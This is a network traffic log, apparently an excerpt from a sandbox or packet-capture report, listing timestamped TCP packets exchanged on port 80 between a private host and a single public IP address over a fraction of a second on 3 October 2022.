Oct 3, 2022 17:34:51.731810093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731828928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731848001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731865883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731884956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731887102 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.731903076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731923103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731941938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731950045 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.731962919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731981039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731992960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732000113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732023954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732026100 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732053041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732054949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732074976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732093096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732110023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732124090 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732129097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732147932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732157946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732168913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732187986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732198000 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732207060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732224941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732243061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732254982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732261896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732280016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732291937 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732300043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732330084 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732445002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732490063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732534885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732544899 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732556105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732573986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732592106 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732593060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732614040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732630968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732649088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732657909 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732667923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732687950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732702017 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732706070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732724905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732742071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732759953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732777119 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732784986 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732795954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732796907 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732814074 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732815027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732834101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732840061 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732855082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732871056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.732891083 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.732920885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733447075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733465910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733484983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733519077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733536959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733562946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733582020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733592987 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733601093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733618975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733637094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733644009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733685017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733686924 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733717918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733731031 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733736992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733756065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733772993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733787060 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733789921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733808994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733819008 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733827114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733846903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733863115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733863115 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733884096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733901024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.733915091 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.733958006 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.734384060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.734402895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.734420061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.734436035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.734443903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.734474897 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.747364998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747389078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747406006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747423887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747440100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747452974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747489929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747509956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747528076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747545958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747564077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747581005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747598886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747607946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.747617006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747634888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747653008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747670889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747677088 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.747690916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747709990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747720003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.747728109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747745991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747764111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747769117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.747806072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747811079 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.747824907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747843981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747859001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.747894049 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.747947931 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748136044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748169899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748198986 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748210907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748248100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748280048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748322010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748334885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748341084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748359919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748378038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748389006 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748395920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748414993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748425007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748433113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748454094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748469114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748471975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748492956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748506069 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748512030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748531103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748548985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748554945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748567104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748578072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748585939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748604059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748617887 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748648882 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.748918056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748958111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748976946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.748994112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749011040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749018908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749031067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749046087 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749047995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749064922 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749067068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749084949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749103069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749109983 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749123096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749140978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749150038 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749160051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749178886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749181032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749197006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749214888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749223948 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749233961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749252081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749259949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749270916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749289036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749303102 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749306917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749325991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.749903917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749923944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749953985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.749995947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750020981 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750040054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750057936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750070095 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750082970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750108957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750118971 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750129938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750147104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750164032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750175953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750183105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750202894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750212908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750221014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750240088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750257969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750268936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750276089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750294924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750312090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750315905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750332117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750350952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750364065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750407934 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750905037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750926971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750945091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750946999 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.750963926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750981092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.750998974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751003027 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751017094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751066923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751087904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751106024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751144886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751168013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751208067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751226902 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751250982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751267910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751286030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751302958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751324892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751327038 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751343012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751362085 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751363039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751383066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751384974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751401901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751414061 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751421928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751466990 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751776934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751804113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751838923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751852989 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751887083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751904964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751923084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751940012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751955032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.751957893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751977921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.751995087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752003908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.752015114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752032042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752049923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752059937 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.752067089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752084970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752098083 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.752103090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752124071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752141953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752160072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752161026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.752178907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752194881 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.752197027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752249002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.752274990 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.752777100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752806902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752825022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752841949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752860069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752877951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752880096 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.752896070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752914906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.752944946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.752981901 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.753125906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.753153086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.753170967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.753189087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.753206968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.753216982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.753225088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.753242970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.753261089 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.753298044 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.785465956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.785495043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.785515070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.785533905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.785574913 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.785613060 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.787728071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787750006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787767887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787785053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787802935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787821054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787834883 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.787838936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787858009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787861109 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.787878036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787878990 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.787897110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787910938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787928104 CEST	80	49702	104.21.93.30	192.168.2.7
